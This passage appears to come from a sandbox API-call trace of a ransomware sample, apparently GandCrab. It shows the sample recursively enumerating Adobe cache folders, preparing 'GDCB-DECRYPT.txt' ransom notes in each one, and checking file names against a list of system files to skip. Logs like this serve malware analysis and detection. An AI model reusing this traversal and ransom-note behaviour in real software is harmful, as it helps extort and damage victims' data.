lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.363] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt") returned 240 [0170.364] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.366] GetLastError () returned 0x50 [0170.366] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 223 [0170.366] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0170.366] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 0x5f5af0 [0170.366] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.366] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.366] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.366] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.366] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 231 [0170.366] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0170.366] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 0x5f6230 [0170.366] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned 236 [0170.366] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned 237 [0170.366] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 247 [0170.366] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.366] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt") returned 248 [0170.367] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.368] GetLastError () returned 0x50 [0170.368] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 231 [0170.368] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0170.368] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285d1b8 | out: lpFindFileData=0x285d1b8) returned 0x5f5fb0 [0170.369] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.369] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.369] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.369] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.369] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 237 [0170.369] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0170.369] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285ccc0 | out: lpFindFileData=0x285ccc0) returned 0x5f5b30 [0170.369] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned 242 [0170.369] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 253 [0170.369] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.369] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 250 [0170.369] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt") returned 254 [0170.369] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.371] GetLastError () returned 0x50 [0170.371] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 237 [0170.371] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0170.371] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285cf30 | out: lpFindFileData=0x285cf30) returned 0x5f5cb0 [0170.371] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.372] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.372] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.372] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.372] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 243 [0170.372] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0170.372] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285ca38 | out: lpFindFileData=0x285ca38) returned 0x5f60b0 [0170.372] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 249 [0170.372] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 249 [0170.372] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 249 [0170.372] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 249 [0170.372] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 259 [0170.372] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.372] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 248 [0170.372] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt") returned 260 [0170.372] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.372] GetLastError () returned 0x3 [0170.372] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 243 [0170.372] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0170.372] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285cca8 | out: lpFindFileData=0x285cca8) returned 0x5f5d30 [0170.373] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 249 [0170.373] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 249 [0170.373] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 249 [0170.373] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 249 [0170.373] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 249 [0170.373] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 249 [0170.373] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 249 [0170.373] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 249 [0170.373] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 259 [0170.373] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 259 [0170.373] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 259 [0170.373] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 259 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.373] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 248 [0170.373] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 248 [0170.373] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 253 [0170.373] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 253 [0170.373] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 253 [0170.373] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 253 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.373] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.374] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.374] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.374] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.374] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.374] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 250 [0170.374] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 250 [0170.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.374] lstrlenW (lpString="C:\\Documents and 